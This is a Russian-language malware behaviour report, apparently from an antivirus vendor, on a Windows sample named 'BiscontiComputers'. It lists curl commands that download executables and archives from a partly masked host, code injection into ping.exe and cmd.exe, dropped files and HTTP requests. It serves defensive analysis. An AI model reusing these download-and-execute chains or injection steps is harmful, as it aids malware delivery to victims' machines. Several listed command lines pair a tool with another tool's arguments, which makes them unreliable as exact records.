Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\bisc\curl.exe' -s -o "%TEMP%\bisc\mbam-v.txt" "http://www.bi#####icomputers.com/bisc_files/files/mbam-v.txt"
- '%TEMP%\afolder\uharc.exe' /pid=3304
- '%TEMP%\bisc\curl.exe' --progress-bar -o "%TEMP%\bisc\GlaryRegistryRepair.uha" "http://www.bi#####icomputers.com/bisc_files/files/GlaryRegistryRepair.uha"
- '%TEMP%\bisc\curl.exe' -s -o "%TEMP%\bisc\ccleaner-v.txt" "http://www.bi#####icomputers.com/bisc_files/files/ccleaner-v.txt"
- '%TEMP%\afolder\uharc.exe' x -t"%TEMP%\bisc" -y+ %TEMP%\afolder\curl.uha
- '%TEMP%\bisc\curl.exe' --progress-bar -o "%TEMP%\bisc\aiov.txt " "http://www.bi#####icomputers.com/bisc_files/aiov.txt "
- '%TEMP%\bisc\curl.exe' --progress-bar -o "%TEMP%\bisc\BiscontiComputers.exe" "http://www.bi#####icomputers.com/bisc_files/BiscontiComputers_MZР.exe"
Запускает на исполнение:
- '<SYSTEM32>\ping.exe' -s -o "%TEMP%\bisc\glary-v.txt" "http://www.bi#####icomputers.com/bisc_files/files/glary-v.txt"
- '<SYSTEM32>\attrib.exe' con: lines=10
- '<SYSTEM32>\fc.exe' "bisc_files\ccleaner-v.txt" "%TEMP%\bisc\ccleaner-v.txt"
- '<SYSTEM32>\attrib.exe' +h dummy.file
- '<SYSTEM32>\ping.exe' /pid=1552
- '<SYSTEM32>\fc.exe' "bisc_files\glary-v.txt" "%TEMP%\bisc\glary-v.txt"
- '<SYSTEM32>\ping.exe' -n 1 www.bi#####icomputers.com
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 125
- '<SYSTEM32>\attrib.exe' +h %TEMP%\ztmp
- '<SYSTEM32>\fc.exe' "bisc_files\aiov.txt" "%TEMP%\bisc\aiov.txt"
- '<SYSTEM32>\mode.com' con: lines=10
- '<SYSTEM32>\find.exe' "Reply from "
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\ping.exe
- <SYSTEM32>\cmd.exe
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\bisc\libeay32.dll
- %TEMP%\bisc\dwn_util.bat
- %TEMP%\bisc\libssl32.dll
- %TEMP%\bisc\curl.exe
- %TEMP%\bisc\libcurl.dll
- %TEMP%\bisc\check_inet.bat
- %TEMP%\myfiles.txt
- %TEMP%\waiting.bat
- %TEMP%\bisc\uharc.exe
- %TEMP%\bisc\Wi-Fi-TechCenter.xml
- %TEMP%\bisc\replace.vbs
- %TEMP%\bisc\bisc_setup-tmp.txt
- %TEMP%\bisc\Malwarebytes.uha
- %TEMP%\bisc\mbam-v.txt
- %TEMP%\bisc\glary-v.txt
- %TEMP%\afolder\BiscontiComputers.exe
- %TEMP%\bisc\GlaryRegistryRepair.uha
- %TEMP%\bisc\Piriform.uha
- %TEMP%\bisc\loaded.txt
- %TEMP%\bisc\aiov.txt
- %TEMP%\end_prog.txt
- %TEMP%\bisc\ccleaner-v.txt
- %TEMP%\bisc\BiscontiComputers.exe
- %TEMP%\afolder\resetdma.vbs
- %TEMP%\afolder\prog_list.exe
- %TEMP%\afolder\say.exe
- %TEMP%\afolder\SetWallpaper.exe
- %TEMP%\afolder\sendmail.exe
- %TEMP%\afolder\no_dup.bat
- %TEMP%\afolder\check_inet.bat
- %TEMP%\afolder\AutoFix.exe
- %TEMP%\afolder\createsrp.vbs
- %TEMP%\afolder\curl.uha
- %TEMP%\afolder\replace.vbs
- %TEMP%\afolder\uharc.exe
- %TEMP%\afolder\blatdll.h
- %TEMP%\afolder\blat.lib
- %TEMP%\afolder\TimeMath.exe
- %TEMP%\ztmp\tmp689.exe
- %TEMP%\ztmp\tmp640.bat
- %TEMP%\afolder\blat.exe
- %TEMP%\afolder\waiting.bat
- %TEMP%\afolder\dwn_util.bat
- %TEMP%\afolder\regjump.exe
- %TEMP%\afolder\blat.dll
- %TEMP%\afolder\Wi-Fi-TechCenter.xml
Удаляет следующие файлы:
- %TEMP%\bisc\bisc_setup-tmp.txt
Сетевая активность:
Подключается к:
- 'www.bi#####icomputers.com':80
TCP:
Запросы HTTP GET:
- www.bi#####icomputers.com/bisc_files/files/Malwarebytes.uha
- www.bi#####icomputers.com/bisc_files/files/mbam-v.txt
- www.bi#####icomputers.com/bisc_files/files/GlaryRegistryRepair.uha
- www.bi#####icomputers.com/bisc_files/files/glary-v.txt
- www.bi#####icomputers.com/bisc_files/BiscontiComputers_MZ?.e##
- www.bi#####icomputers.com/bisc_files/aiov.txt
- www.bi#####icomputers.com/bisc_files/files/Piriform.uha
- www.bi#####icomputers.com/bisc_files/files/ccleaner-v.txt
UDP:
- DNS ASK www.bi#####icomputers.com
